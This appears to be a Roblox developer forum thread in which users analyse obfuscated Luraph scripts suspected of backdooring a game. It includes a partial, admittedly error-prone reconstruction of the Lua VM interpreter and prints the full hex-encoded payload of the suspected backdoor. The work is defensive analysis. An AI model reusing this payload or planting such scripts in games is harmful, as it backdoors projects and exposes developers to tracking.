When you delete all the scripts do they come back?
Yes, they do come back. XXXXXXXXXXX
Then there is ether a script your not seeing or you missed a malicious plugin. Try searching for anything with “require”. Or alternatively you can try and download some plugins that try and find these scripts.
Then there is ether a script your not seeing or you missed a malicious plugin. Try searching for anything with “require”. Or alternatively you can try and download some plugins that try and find these scripts.
If they come back without you needing to run the game, it’s 100% a plugin (either one you’ve got or one that somebody else in the team has). Take it in turns to close and open the place to discover which one of you has the bad plugin. Once you’ve narrowed it down to a person, have them disable all plugins and progressively enable each one until the scripts return.
If instead they only come back when you run the game, then it could either be a plugin or you missed a script. Instead of searching for a random term like Luraph, which might not be in the problem script, instead just search for Script in the Explorer pane and delete any scripts that are not part of the game’s codebase. If the previous programmer didn’t leave any sort of user-guide or instructions then that’s not great practice, but in this case you might be able to open each script, if it’s obfuscated then delete it, and then try to run the game once they’re all gone.
If you find the game fails to run without the obfuscated scripts then the previous programmer has made this incredibly difficult for you and their behaviour is very suspicious. Consider the possibility of a potential backdoor in this final case, which would require you to rip out the old code and recreate the functionality.
Luraph is the obfuscator developed by an exploiter/scripter, memcorrupt.
Due to this, this is probably a backdoor.
To my extent of knowledge, Luraph is almost impossible to deobfuscate.
My advice would be to go through each script of your game or review your PLUGINS. Malicious plugins may have caused this, so review them and find out if they are the reason behind this.
If you cannot find the source behind this, start over for your game or revert back to a version of your game until these scripts do not appear.
Good luck.
Yeah, we found some dude who had blackmailed one of our devs with his address. We ended up getting the dude to remove our game and IPs from his database because the FBI got involved.
Script 1 contains an interpreter. I don’t have time to… but I’m decoding it anyways . Just finished making sense of this function from script 1:
local function getDoubleFP()
local a, b = getDoubleWord(), getDoubleWord()
if a == 0 and b == 0 then
return 0
end
return (-decode(b, 32) * 2 ^ (decode(b, 21, 31) - 1023) * ((decode(b, 1, 20) * 2^32 + a) / 2^52 + 1)
end
I recognized it as the format for floating point numbers… someone with a degree of intelligence made this interpreter. (I can also tell because even the obfuscated code makes sense, they have good style!) It may be that the script kiddies who made this took this interpreter from a reputable source. If I stop working on it, I’ll post what I’ve got so far.
I’ve noticed that the obfuscation does a simple text replacement for variables names. The same variable name in the obfuscated source is ALWAYS the same variable name in the original source. I know this because variables with the same name are used in the same sorts of places. For example, iterators are commonly the same name.
I’m getting pretty far with parsing the interpreter. Once it is done, you can run it on the hexcode strings embedded in the 3 obfuscated scripts.
BTW, the attacker probably got your developer’s physical address from his IP. In studio if you have HttpEnabled on while developing then all HTTP messages are sent and received from your computer. The bad news is that your IP can be seen by attackers that phone home. The good news is that we can also find out how they phoned home. Where any threats made? If so this is a serious issue and we may have a way to track them down.
I’d be impressed if the attacker gave the full address, was it in the same city / area instead of exact? Generally ISPs don’t release the exact addresses for every IP (for obvious security reasons).
BTW, it seems that whoever made the interpreter wasn’t involved in the attack; the attackers used a prebuilt one. It even has debug info / line numbers in it…
Update: It is a Lua interpreter. I see the Bx, sBx, and other portions of the lua 5.1 bytecode format. Does anyone remember why there is a variable in the chunk header that holds an index dividing the register indexes from the [some other list] index? For example, in an instruction if an index is above this threshold, than it isn’t a register but a different type? The parser is zero index based, so it seems to be a translation from another language.
Alright, here is what I’ve got. Unfortunately I have other tasks I need to take scare of so I’ll pass on the baton to whoever has an interest in solving this problem. It may be awhile before I can sink more time into this.
From what I can tell, the interpreter has some modifications. There are also some internals that I was not aware of, so perhaps someone with more Lua interpreter knowledge can help out.
local i = 1
local function parse(source, env)
local llil1i1iIiIIiIil1li source = string.gsub(string.sub(source, 5), "..", function(str)
if string.byte(str, 2) == 71 then
llil1i1iIiIIiIil1li = tonumber(string.sub(str, 1, 1))
return ""
else
local hexcode = string.char(tonumber(str, 16))
if llil1i1iIiIIiIil1li then
local IlIi11I1i11l1IlIIli = string.rep(hexcode, llil1i1iIiIIiIil1li)
llil1i1iIiIIiIil1li = nil
return IlIi11I1i11l1IlIIli
else
return hexcode
end
end
end
local function getByte()
local a = string.byte(source, i, i)
i = i + 1
return a
end
local function getDoubleword()
local a, b, c, d = string.byte(source, i, i + 3)
i = i + 4
return d * 256^3 + c * 256^2 + b * 256 + a
end
local function decode(num, base, base_final)
if base_final then
local sum, place = 0, 0
for j = base, base_final do
sum = sum + 2 ^ place * decode(num, j)
place = place + 1
end
return sum
else
return (base/2) <= num % base and 1 or 0
end
end
local function getDoubleFP()
local a, b = getDoubleword(), getDoubleword()
if a == 0 and b == 0 then
return 0
end
return (-decode(b, 32) * 2 ^ (decode(b, 21, 31) - 1023) * ((decode(b, 1, 20) * 2^32 + a) / 2^52 + 1)
end
local function getMaskedDoubleword(mask)
local bytes = { string.byte(source, i, i + 3) }
i = i + 4
local bit_mask = { nil, nil, nil, nil, nil, nil, nil, nil }
for j = 1, 8 do
bit_mask[j] = decode(mask, j)
end
local result = {}
for j = 1, 4 do
local raw_byte = bytes[j]
local byte, place = 0, 0
for k = 1, 8 do
local bit = decode(raw_byte, k)
if bit_mask[k] == 1 then
bit = bit == 1 and 0 or 1
end
byte = byte + 2 ^ place * bit
place = place + 1
end
result[j] = byte
end
local a, b, c, d = unpack(result)
return d * 256^3 + c * 256^2 + b * 256 + a
end
local function getMaskedString(mask)
local len = getDoubleword()
i = i + len
local bit_mask = { nil, nil, nil, nil, nil, nil, nil, nil }
for j = 1, 8 do
bit_mask[j] = decode(mask, j)
end
local str = ""
for j = 1, len do
local byte, place = 0, 0
for k = 1, 8 do
local bit = decode(string.byte(source, i - len + j - 1), k)
if bit_mask[k] == 1 then
bit = bit == 1 and 0 or 1
end
byte = byte + 2 ^ place * bit
place = place + 1
end
str = str .. str.char(byte)
end
return str
end
local string_mask = getByte()
local dw_mask = getByte()
local function parseChunk()
local state = {
['instructions'] = {},
['lines'] = {},
['constants'] = {},
['functions'] = {}
}
getByte()
getDoubleword()
getDoubleword()
state[91457] = getByte()
for j = 1, getDoubleword() - 133760 do
local value = {}
local base = getMaskedDoubleword(dw_mask)
value['Bx'] = decode(base, 1, 18)
value['C'] = decode(base, 10, 18)
value['opcode'] = decode(base, 27, 32)
value['B'] = decode(base, 1, 9)
value['A'] = decode(base, 19, 26)
state['instructions'][j] = value
end
state['registers'] = getByte()
getDoubleword()
for j = 1, getDoubleword() - 133737 do
local values = {}
local bytecode = getByte()
if bytecode == 240 then
values['data'] = true
elseif bytecode == 192 then
values['data'] = getMaskedString(120)
elseif bytecode == 139 then
values['data'] = false
elseif bytecode == 42 then
values['data'] = getDoubleFP()
elseif bytecode == 0 then
values['data'] = getDoubleword()
elseif bytecode == 231 then
values['data'] = getByte()
elseif bytecode == 231 then
values['data'] = getByte() + getDoubleword() + getDoubleFP()
elseif bytecode == 201 then
values['data'] = getDoubleword()
elseif bytecode == 40 then
values['data'] = getMaskedString(string_mask)
end
state['constants'][j - 1] = values
end
getDoubleword()
getByte()
getDoubleword()
getByte()
for j = 1, getDoubleword() do
state['lines'][j] = getDoubleword()
end
state[24370] = getByte()
for j = 1, getDoubleword() do
state['functions'][j - 1] = parseChunk()
end
getDoubleword()
getByte()
getByte()
getByte()
return state
end
local function execute(state, env, scope)
local instructions = state['instructions']
local constants = setmetatable({}, {
__index = function(self, key)
local constant = state['constants'][key]
if string.sub(type(constant['data']), 1, 1) == "s" then
return {
['data'] = string.sub(constant['data'], 3)
}
end
return constant
end
})
local functions = state['functions']
local II1i1lIIiI111iIiIl1 = state[24370]
local lines = state['lines']
local function main(...)
local lIi11iiII1ii11ilIIl = 0
local registers = { unpack({}, 1, state['registers']) }
local PC = 1
local sub_scopes = {}
local I111ilIlilliiIilIll = {}
local Il1I1II1i1I11IlIi1i = 1
local env = getfenv()
local args = { ... }
local lIlilIii1Ii1Il1ili1ll = {}
local numArgs = #args - 1
for j = 0, numArgs do
if II1i1lIIiI111iIiIl1 >= j + 1 then
registers[j] = args[j + 1]
end
lIlilIii1Ii1Il1ili1ll[j] = args[j + 1]
end
local function getNArgs(...)
return select("#", ...), { ... }
end
local actions
actions = {
function(instruction)
-- LT
local B = instruction['B']
local A = instruction['A']
local Bx = instruction['Bx']
local sBx = instruction['sBx'] - 131071
local C = instruction['C']
A = A ~= 0
if B > 255 then
B = constants[B - 256]['data']
else
B = registers[B]
end
if Bx > 255 then
Bx = constants[Bx - 256]['data']
else
Bx = registers[Bx]
end
if B < Bx ~= A then
PC = PC + 1
end
end,
function(instruction)
local A = instruction['A']
local sBx = instruction['sBx'] - 131071
local B = instruction['B']
local Bx = instruction['Bx']
local C = instruction['C']
PC = PC + sBx
end,
nil,
function(instruction)
local A = instruction['A']
local Bx = instruction['Bx']
local C = instruction['C']
local B = instruction['B']
local sBx = instruction['sBx'] - 131071
if B > 255 then
B = constants[B - 256]['data']
else
B = registers[B]
end
if Bx > 255 then
Bx = constants[Bx - 256]['data']
else
Bx = registers[Bx]
end
registers[A] = B - Bx
end,
nil,
function(instruction)
local C = instruction['C']
local sBx = instruction['sBx'] - 131071
local A = instruction['A']
local B = instruction['B']
local Bx = instruction['Bx']
registers[A] = not registers[B]
end,
nil,
function(instruction)
local sBx = instruction['sBx'] - 131071
local C = instruction['C']
local Bx = instruction['Bx']
local A = instruction['A']
local B = instruction['B']
local offset = B > 0 and B - 1 or numArgs - II1i1lIIiI111iIiIl1
for j = A, A + offset do
if j - A <= numArgs then
registers[j] = lIlilIii1Ii1Il1ili1ll[II1i1lIIiI111iIiIl1 + (j - A)]
else
registers[j] = nil
end
end
lIi11iiII1ii11ilIIl = A + offset
end,
function(instruction)
-- LEN
local A = instruction['A']
local B = instruction['B']
local Bx = instruction['Bx']
local sBx = instruction['sBx'] - 131071
local C = instruction['C']
registers[A] = #registers[B]
end,
function(instruction)
-- FORPREP
local Bx = instruction['Bx']
local B = instruction['B']
local sBx = instruction['sBx'] - 131071
local A = instruction['A']
local C = instruction['C']
registers[A] = assert(tonumber(registers[A]), "`for` initial value must be a number")
registers[A + 1] = assert(tonumber(registers[A + 1]), "`for` limit value must be a number")
registers[A + 2] = assert(tonumber(registers[A + 2]), "`for` step value must be a number")
registers[A] = registers[A] - registers[A + 2]
PC = PC + sBx
end,
nil,
nil,
nil,
function(instruction)
local C = instruction['C']
local Bx = instruction['Bx']
local B = instruction['B']
local sBx = instruction['sBx'] - 131071
local A = instruction['A']
if Bx == 15 then
return actions[10]({
['A'] = (A - 181) % 256,
['B'] = (B - 181) % 256,
['sBx'] = 0
})
end
for j = A, B do
registers[j] = nil
end
end,
nil,
function(instruction)
local B = instruction['B']
local C = instruction['C']
local A = instruction['A']
local sBx = instruction['sBx'] - 131071
local Bx = instruction['Bx']
local base = A + 2
local IIiIiilIIIiillil11i = {
registers[A](
registers[A + 1],
registers[A + 2])
}
for j = 1, Bx do
registers[base + j] = IIiIiilIIIiillil11i[j]
end
if registers[A + 3] ~= nil then
registers[A + 2] = registers[A + 3]
else
PC = PC + 1
end
end,
nil,
nil,
function(instruction)
local C = instruction['C']
local sBx = instruction['sBx'] - 131071
local B = instruction['B']
local A = instruction['A']
local Bx = instruction['Bx']
if Bx == 190 then
return actions[21]({ ['A'] = (A - 17) % 256, ['B'] = (B - 17) % 256, ['sBx'] = 0 })
end
registers[A] = registers[B]
end,
nil,
function(instruction)
local A = instruction['A']
local B = instruction['B']
local C = instruction['C']
local sBx = instruction['sBx'] - 131071
local Bx = instruction['Bx']
local IIiIiilIIIiillil11i = registers[B]
for j = B + 1, Bx do
IIiIiilIIIiillil11i = IIiIiilIIIiillil11i .. registers[j]
end
registers[A] = IIiIiilIIIiillil11i
end,
nil,
function(instruction)
local Bx = instruction['Bx']
local C = instruction['C']
local B = instruction['B']
local sBx = instruction['sBx'] - 131071
local A = instruction['A'] B = registers[B]
if Bx > 255 then
Bx = constants[Bx - 256]['data']
else
Bx = registers[Bx]
end
registers[A + 1] = B
registers[A] = B[Bx]
end,
function(instruction)
-- GETGLOBAL
local Bx = instruction['Bx']
local A = instruction['A']
local C = instruction['C']
local B = instruction['B']
local sBx = instruction['sBx'] - 131071
local name
if C == 100000 then
name = registers[251]
else
name = constants[C]['data']
end
registers[A] = env[name]
end,
function(instruction)
local C = instruction['C']
local A = instruction['A']
local B = instruction['B']
local sBx = instruction['sBx'] - 131071
local Bx = instruction['Bx']
if Bx == 102 then
return actions[3]({
['A'] = (A - 99) % 256,
['B'] = (B - 99) % 256,
['sBx'] = 0
})
end
if Bx == 153 then
return actions[8]({
['A'] = (A - 215) % 256,
['Bx'] = (B - 215) % 256,
['sBx'] = 0
})
end
local limit, count, lIiII1lli1l11I1Iiii
if B == 1 then
return true
end
if B == 0 then
limit = lIi11iiII1ii11ilIIl
else
limit = A + B - 2
end
lIiII1lli1l11I1Iiii = {}
count = 0
for j = A, limit do
count = count + 1
lIiII1lli1l11I1Iiii[count] = registers[j]
end
return true, lIiII1lli1l11I1Iiii, count
end,
function(instruction)
local sBx = instruction['sBx'] - 131071
local C = instruction['C']
local B = instruction['B']
local Bx = instruction['Bx']
local A = instruction['A']
for j = A, #registers do
local index = Il1I1II1i1I11IlIi1i
for _, upvalues in next, sub_scopes, nil do
for name, upvalue in next, upvalues, nil do
if registers == upvalue[1] and upvalue[2] == j then
if not I111ilIlilliiIilIll[index] then
I111ilIlilliiIilIll[index] = registers[j]
Il1I1II1i1I11IlIi1i = Il1I1II1i1I11IlIi1i + 1
end
upvalues[name] = {I111ilIlilliiIilIll, index}
end
end
end
end
end,
function(instruction)
local C = instruction['C']
local sBx = instruction['sBx'] - 131071
local Bx = instruction['Bx']
local A = instruction['A']
local B = instruction['B']
if B > 255 then
B = constants[B - 256]['data']
else
B = registers[B]
end
if Bx > 255 then
Bx = constants[Bx - 256]['data']
else
Bx = registers[Bx]
end
registers[A] = B ^ Bx
end,
function(instruction)
local B = instruction['B']
local A = instruction['A']
local sBx = instruction['sBx'] - 131071
local Bx = instruction['Bx']
local C = instruction['C']
registers[A] = {
unpack({}, 1, B > 7999 and 7999 or B)
}
end,
function(instruction)
local sBx = instruction['sBx'] - 131071
local C = instruction['C']
local A = instruction['A']
local Bx = instruction['Bx']
local B = instruction['B']
local args, results, limit, run
args = {}
if B ~= 1 then
if B ~= 0 then
limit = A + B - 1
else
limit = lIi11iiII1ii11ilIIl
end
run = 0
for j = A + 1, limit do
run = run + 1
args[run] = registers[j]
end
limit, results = getNArgs(registers[A](unpack(args, 1, limit - A)))
else
limit, results = getNArgs(registers[A]())
end
if Bx ~= 1 then
if Bx ~= 0 then
limit = A + Bx - 2
else
limit = limit + A
end
run = 0
for j = A, limit do
run = run + 1
registers[j] = results[run]
end
end
lIi11iiII1ii11ilIIl = limit - 1
end,
function(instruction)
local B = instruction['B']
local A = instruction['A']
local Bx = instruction['Bx']
local sBx = instruction['sBx'] - 131071
local C = instruction['C']
local base = (Bx - 1) * 50
if B == 0 then
B = lIi11iiII1ii11ilIIl - A
end
for j = 1, B do
registers[A][base + j] = registers[A + j]
end
end,
nil
}
actions[17] = function(instruction)
local A = instruction['A']
local B = instruction['B']
local Bx = instruction['Bx']
local C = instruction['C']
local sBx = instruction['sBx'] - 131071
if B > 255 then
B = constants[B - 256]['data']
else
B = registers[B]
end
if Bx > 255 then
Bx = constants[Bx - 256]['data']
else
Bx = registers[Bx]
end
registers[A][B] = Bx
end
actions[15] = function(instruction)
local A = instruction['A']
local sBx = instruction['sBx'] - 131071
local C = instruction['C']
local Bx = instruction['Bx']
local B = instruction['B']
registers[A] = scope[B]
end
actions[5] = function(instruction)
local C = instruction['C']
local B = instruction['B']
local sBx = instruction['sBx'] - 131071
local A = instruction['A']
local Bx = instruction['Bx']
local number = registers[A + 2]
local i = registers[A] + number
registers[A] = i
if number > 0 then
if i <= registers[A + 1] then
PC = PC + sBx
registers[A + 3] = i
end
elseif i >= registers[A + 1] then
PC = PC + sBx
registers[A + 3] = i
end
end
actions[7] = function(instruction)
-- CALL
local Bx = instruction['Bx']
local sBx = instruction['sBx'] - 131071
local A = instruction['A']
local B = instruction['B']
local C = instruction['C']
local func = functions[C]
local upvalues = {}
local sub_scope = setmetatable({}, {
__index = function(self, key)
local upvalue = upvalues[key]
return upvalue[1][upvalue[2]]
end
__newindex = function(self, key, value)
local upvalue = upvalues[key]
upvalue[1][upvalue[2]] = value
end
})
for j = 1, func[91475] do
local inst = instructions[PC]
if inst['opcode'] == 2 then
upvalues[j - 1] = { registers, inst['B'] }
elseif inst['opcode'] == 5 then
upvalues[j - 1] = { scope, inst['B'] }
end
PC = PC + 1
end
if func[91475] > 0 then
sub_scopes[#sub_scopes + 1] = upvalues
end
local result = execute(func, env, sub_scope)
registers[A] = result
end
actions[22] = function(instruction)
local B = instruction['B']
local Bx = instruction['Bx']
local sBx = instruction['sBx'] - 131071
local C = instruction['C']
local A = instruction['A']
if Bx > 255 then
Bx = constants[Bx - 256]['data']
else
Bx = registers[Bx]
end
registers[A] = registers[B][Bx]
end
actions[12] = function(instruction)
local sBx = instruction['sBx'] - 131071
local C = instruction['C']
local A = instruction['A']
local B = instruction['B']
local Bx = instruction['Bx']
registers[A] = constants[C]['data']
end
actions[31] = function(instruction)
local A = instruction['A']
local B = instruction['B']
local C = instruction['C']
local sBx = instruction['sBx'] - 131071
local Bx = instruction['Bx']
if not not registers[A] == (Bx == 0) then
PC = PC + 1
end
end
actions[20] = function(instruction)
local C = instruction['C']
local B = instruction['B']
local sBx = instruction['sBx'] - 131071
local A = instruction['A']
local Bx = instruction['Bx']
if B > 255 then
B = constants[B - 256]['data']
else
B = registers[B]
end
if Bx > 255 then
Bx = constants[Bx - 256]['data']
else
Bx = registers[Bx]
end
registers[A] = B * Bx
end
actions[11] = function(instruction)
local sBx = instruction['sBx'] - 131071
local Bx = instruction['Bx']
local C = instruction['C']
local B = instruction['B']
local A = instruction['A']
local args, results, limit, run
args = {}
run = 0
if B ~= 1 then
if B ~= 0 then
limit = A + B - 1
else
limit = lIi11iiII1ii11ilIIl
end
for j = A + 1, limit do
run = run + 1
args[run] = registers[j]
end
limit, results = getNArgs(
registers[A](
unpack(args, 1, limit - A)
)
)
else
limit, results = getNArgs(registers[A]())
end
return true, results, limit
end
actions[13] = function(instruction)
-- SETGLOBAL
local Bx = instruction['Bx']
local C = instruction['C']
local B = instruction['B']
local sBx = instruction['sBx'] - 131071
local A = instruction['A']
local name
if C == 100000 then
name = registers[251]
else
name = constants[C]['data']
end
env[name] = registers[A]
end
actions[3] = function(instruction)
local sBx = instruction['sBx'] - 131071
local A = instruction['A']
local B = instruction['B']
local C = instruction['C']
local Bx = instruction['Bx']
if Bx == 104 then
return actions[6]({
['A'] = (A - 44) % 256,
['B'] = (B - 44) % 256,
['sBx'] = 0
})
end
if Bx == 117 then
return actions[27]({
['A'] = (A - 122) % 256,
['B'] = (B - 122) % 256,
['sBx'] = 0
})
end
registers[A] = -registers[B]
end
actions[0] = function(instruction)
local sBx = instruction['sBx'] - 131071
local A = instruction['A']
local Bx = instruction['Bx']
local B = instruction['B']
local C = instruction['C']
if Bx == 169 then
return actions[32]({
['A'] = (A - 191) % 256,
['B'] = (B - 191) % 256,
['sBx'] = 0
})
end
if Bx == 25 then
return actions[4]({
['A'] = (A - 240) % 256,
['B'] = (B - 240) % 256,
['sBx'] = 0
})
end
scope[B] = registers[A]
end
actions[18] = function(instruction)
local Bx = instruction['Bx']
local B = instruction['B']
local A = instruction['A']
local sBx = instruction['sBx'] - 131071
local C = instruction['C'] A = A ~= 0
if B > 255 then
B = constants[B - 256]['data']
else
B = registers[B]
end
if Bx > 255 then
Bx = constants[Bx - 256]['data']
else
Bx = registers[Bx]
end
if B == Bx ~= A then
PC = PC + 1
end
end
actions = {
actions[1],
actions[8],
actions[19],
actions[6],
actions[12],
actions[15],
actions[0],
actions[31],
actions[18],
actions[9],
actions[16],
actions[3],
actions[22],
actions[11],
actions[23],
actions[10],
actions[21],
actions[17],
actions[5],
actions[24],
actions[25],
actions[28],
actions[13],
actions[2],
actions[30],
actions[27],
actions[26],
actions[4],
actions[20],
actions[29],
actions[7],
actions[14]
}
local function run()
while true do
local instruction = instructions[PC]
PC = PC + 1
local success, value, count = actions[instruction['opcode'] + 1](instruction)
if success then
return value, count
end
end
end
local success, value, count = pcall(run)
if success then
if value and count > 0 then
return unpack(value, 1, count)
end
else
local msg = string.gsub("Luraph Script:" .. (lines[PC - 1] or "") .. ": " .. tostring(value), "[^:]+:%d*: ", function(str)
if not string.match(str, "Luraph Script:%d") then
return ""
end
end
error(msg, 0)
end
end
setfenv(main, env)
return main
end
local chunk = parseChunk()
return execute(chunk, env)()
end
parse("LPH|ADF651758AD709B498691400870A02002GF6F4AAF72GF68E3GF68E3GF6AE3GF6BAF72GF6823GF6A600F8EF3F176A0A02002A5G00E49440E459A93CE005817542595G00013G00528BD96109DBC4940C003D0B0200F7F6F4AAF72GF68EE02GF6BA3GF6BA2GF6F4AAE02GF6BAF62GF4CEF4F6FEE62GF6F4AABFA40BECF5F2F682F62GF0CEF2F6FAE62GF6F4AA1FA4F7EDF52GF2822GF6FEBA2GF6F4AAE0F6FEBA2GF4FCCEF4F62GE62GF6F4AAF8A4F3EDF5F2FE82F3F6FAE62GF6E6BA2GF6F4AAE0F6E6BAF2F4E4CEF0F6EEE62GF6F4AA2DF7E68AF5F2E682F2F8E4CE2GF6EEBA2GF6F4AAE0F6EEBAF0E6ECC6F4F6F4AAE0F6EEBA2GF6F4AAD1A4FBEDF5F2E682FFF6E2BA2GF6F4AAE0F6E2BAF3E2E0C62GF6F4AAE0F6E2BA2GF6EE8EF32GF6FEF6F2EAA2FDEFE8B2F7F6D6A2F6FCD2A2F8E9D0B2E6D5D0B2E4D1D0B2E3F6DEBA2GF6F4AAE0F6DEBAE0F6DAE62GF6F4AA7CF7DE8AF4F2DE82E2E3D2B2F5F6DEA2F6F0DAA2EFF6C6E6F2C2C0C62GF6F4AAE0F6C2BAFAECC6B6EEEFDAB2EAF6C6E62GF6C2BA2GF6F4AAE0F6C2BAFBE6C0C62GF6F4AAE0F6C2BAFAECC6B6EDEFDAB2EBCBD8B2F6F0C6A2E9F6C2E62GF6CEBA2GF6F4AAE0F6CEBAF8F4CCCED6F6B6E62GF6F4AA3CA4C3EDF5F2CE82F8B4CCCE2GF6B6BA2GF6F4AAE0F6B6BAE6B2B4C6F4F6F4AAE0F6B6BA2GF6F4AA76F7CE8AF5F2CE82FBEAC2B6EEEDC6B2D5F6C2E62GF6CEBA2GF6F4AAE0F6CEBAF8B2CCC62GF6F4AAE0F6CEBAFBEAC2B62GEDC6B2EBCBC4B2F6F0C2A2EEBFC0B2EDF5C2B2EBCBC0B2F5F4DE96E1E3D2B2F7F4D696FBE7EAB2F4BCD4CE9C3A42A72GF6F4AA4AA4EBEDF5F2D682F4BAD0CE903A4EA79D3A4AA72GF6F4AAC1A4D7EDF2F4D2822GF6D2BA2GF6F4AAE0F6D2BAFFF4D0CEF4F6DAE62GF6F4AA75A4D7EDF5F2D282F6F4DEA2E9F6DAE62GF6C6BA2GF6F4AAE0F6C6BAFAF4C4CED6F6CEE62GF6F4AA30A4DBEDF5F2C682FAB4C4CE2GF6CEBA2GF6F4AAE0F6CEBAF8B2CCC6F4F6F4AAE0F6CEBA2GF6F4AA3EF7C68AF5F2C682D1F6C2E6923A32A7FDEADAB6FDE1DEB2FFBCD8CE9B3A36A72GF6F4AADBA4DFEDF5F2DA82983A42A7FFBAD8CEF3F6C2E69B3A32A72GF6F4AA32A4DFEDF2F4DA82E48AB3FE5E6EE2AEA71CFED80FC492EC18490085D57985BF702A24A9BA7BB0DA5BA467EC27E88B90115A66876D920A020028063G002GADCACCC0C8280C3G002GADEAC8D9FEC8DFDBC4CEC8280D3G002GADE52GD9DDFEC8DFDBC4CEC8280A3G002GADEAC8D9ECDED4C3CE28183G002GADC52GD9DDDE972G82CCDDC483C4DDC4CBD483C2DFCA82287D3G002GADC52GD9DDDE972G82C9C4DECEC2DFC9CC2GDD83CEC2C082CCDDC482DAC8CFC52GC2C6DE829B99959C9B9D9F992G9D9E959D989C95989D82D8FFE29EDDF2FD9BDBCEC3C4EFEEC2DCE5EE80EBFEE5F7E8F8E7C7E89F9CC4999CDBC9EED7DAEC99D99EFFE2E780C6E0C5F4DBF7DB95EFFEFA95CEF895EF2G80ECF794FD28143G002GADE0CCDFC6C8D9DDC1CCCEC8FEC8DFDBC4CEC828103G002GADEAC8D9FDDFC2C9D8CED9E4C3CBC228093G002GADFDC1CCCEC8E4C928063G002GADC0CCD9C528083G002GADDFCCC3C9C2C028093G002GADCEC2C3D9C8C3D928023G002GAD28083G002GADC8C0CFC8C9DE28073G002GADD9C4D9C1C8280B3G002GADE4FD8DE1E22GEAE8E9280D3G002GADC9C8DECEDFC4DDD9C4C2C3280E3G002GADC2C0CA8DDEC28DCE2GC2C18C28063G002GADD9D4DDC828063G002GADDFC4CEC528073G002GADCEC2C1C2DF280A3G002GADD9C2C3D8C0CFC8DF2A4G00E0C8EA4028083G002GADCBC4C8C1C9DE28063G002GADC3CCC0C828093G002GADEACCC0C88D808D28063G002GADE3CCC0C828073G002GADDBCCC1D8C8281F3G002GADC52GD9DDDE972G823GDA83DFC2CFC1C2D583CEC2C082CACCC0C8DE8228083G002GADC4C3C1C4C3C88B28113G002GADEACCC0C88DEEDFC8CCD9C2DF8D808D28093G002GADFDC1CCD4C8DFDE28183G002GADEAC8D9E3CCC0C8EBDFC2C0F8DEC8DFE4C9ECDED4C3CE280B3G002GADEEDFC8CCD9C2DFE4C9281F3G002GADC52GD9DDDE972G823GDA83DFC2CFC1C2D583CEC2C082D8DEC8DFDE82280C3G002GADE4FD8DEAFFEC2GEFE8E9280C3G002GADE7FEE2E3E8C3CEC2C9C8280B3G002GADFDC2DED9ECDED4C3CE28083G002GAD8DE4FD8D808D28023G002GAD757CD7472EC02A9A2BEBB49G006G00019G002G00013G00019G002G00013G00033G00039G002G00033G00059G002G00053G00059G002G00053G00063G00079G002G00073G00079G002G00073G00073G00079G002G00079G009G001G00073G00099G002G00099G002G00103G00103G00123G00143G00153G00153G00163G00173G00183G00199G002G00199G002G00193G00193G001A3G001A3G001C3G001C9G002G001C3G001C3G001D3G001D9G002G001D9G002G001D3G001D3G001E3G001F3G00213G00219G002G00213G00219G002G00213G00213G00219G002G00219G009G001G00213G00213G00213G00223G00229G002G00229G002G00223G00223G00233G00243G00263G00273G00283G002A3G002A3G002B3G002B3G002D3G002D9G002G002D3G002E3G002E3G002E9G002G002E3G00309G002G00303G00309G002G00303G00313G00323G00329G002G00323G00329G002G00323G00323G00329G002G00329G009G001G00323G00323G00323G00323G00323G00353G00359G002G00353G00353G00373G00373G00379G002G00373G00374G00013G006D6497031A84D2F431019A0A0200F7F6F4AAF72GF68EF22GF6BA3GF6E6F7F6F2BA2GF6F4AAF2F6F2BAF7F2F0C62GF6F4AAF2F6F2BA953A62A7F5F6FAE62GF6E68E3GF6E2F2F6F2C2E78ABFFEE48AB3FE51D802F633FA9DDD691CEAD974F61CC2428F8E9F565F0FC93938DFC962CD94F2CDE88A8905EFBE140E6F0A020028263G002GAD8GD5804GD580993GD580D43GD5809GD53GD528083G002GADDED9DFC4C3CA28063G002GADCADED8CF28063G002GADF6D5D4F02A5G00E4944028023G002GAD0A79942G727F883E53F3119G006G000B3G000C9G002G000C9G002G000C3G000C3G000F3G000F3G000C3G000F3G00104G00013G00E6A7E22E04C67D896501AF0A0200F7F6F4AA3GF68EF72GF6BA2GF6F4D62GF6F4AA2GF6F4AAFDF6F4AADA2642DA2GF6F4AAF7F6F2BAF7F6FEE6F4F6FAE62GF6F4AAD5F7F28AF52GF2822EC497A52GF6F4AA2GF6F4AAF1F6F4AADA2642DA2GF6F4AAF7F6F2BAF5F6FEE6F2F6FAE62GF6F4AA1EA4F7EDF52GF282F3F6FEBA2GF6F4AAF7F6FEBAF4FAFCC62GF6F4AAF7F6FEBAF1F6FAE6923A6AA7F5F6FEC2E78ABBFEE48AB3FE6F8A4FFD7020DE8C841E8B984784D2804BEA2BC7E8C2E4D99DB3F5EB6D9F218665D107D5059193FF74720A020028033G002GADD52A8G002A6G002E402A6G0020402A6G00264028083G002GADDED9DFC4C3CA28083G002GADCBC2DFC0CCD928043G002GAD88D528023G002GADA5C0F87BF3CD68D462C8269G006G000D9G002G000D3G000D9G002G000D3G000D9G002G000D3G000D9G002G000D3G000D9G002G000D3G000D9G002G000D3G000E9G002G000E9G002G000E3G000E3G000E3G000E3G000F3G00014G0039387045CE8BB51ED3446EF6AC293D83B64D613A4DE859D42EB2C4DA", getfenv())
It may be worthwhile printing out the constants and subfunction constants without running the interpreter. You can also use my sandbox here to trace exactly how it interacts with its environment. You should be able to find between these two techniques how the script phones home even without knowing the full source.
If anyone is bored just take IdomicLanguage’s beautified code and compare it to lbi/src/lbi.lua at master · JustAPerson/lbi · GitHub to ‘unobfuscate’ his byte-code. It just seems like this is a hastily-edited version of LBI with some Bit Ops meant to confuse you. Writing a tool to do the necessary substitutions should be a fun little challenge for someone to do.
what if you checked script activity and identified their sources?
like :
This has already been done for older versions of Luraph before. Felt like mentioning it.
There’s a plugin shared in community resources for detecting scripts inserted by plugins
Yeah, Luraph isn’t a very good obfuscator and it’s a bit of a joke in the “obfuscator community”.
Like @jody7777 said, it’s just an edited version of LBI. I don’t have time to actually deobfuscate it to get usable bytecode, but you shouldn’t need to. Just sandbox the script and print all the calls it makes to get an idea for about what it does.
If it were Xen or Ironbrew I’d be able to dump all the constants for you but I don’t have a constant dumper for Luraph simply because I’ve never needed one. I’ll look into making one now, but no promises!
As for the OP, @marfit, you should save your game as XML (.rbxlx). Then open the file in a text editor like Notepad++ and search for the scripts! Once you find them you can delete them there.
(Sorry For Bumping This Thread Lmao)
I was testing my DeObfuscating skills with these scripts and I found out the seconds script.
game
GetService
HttpService
GetAsync
https://www.google.com
1337
pcall
script
Value
Name
true
print
on
Enabled
off
false
Disabled
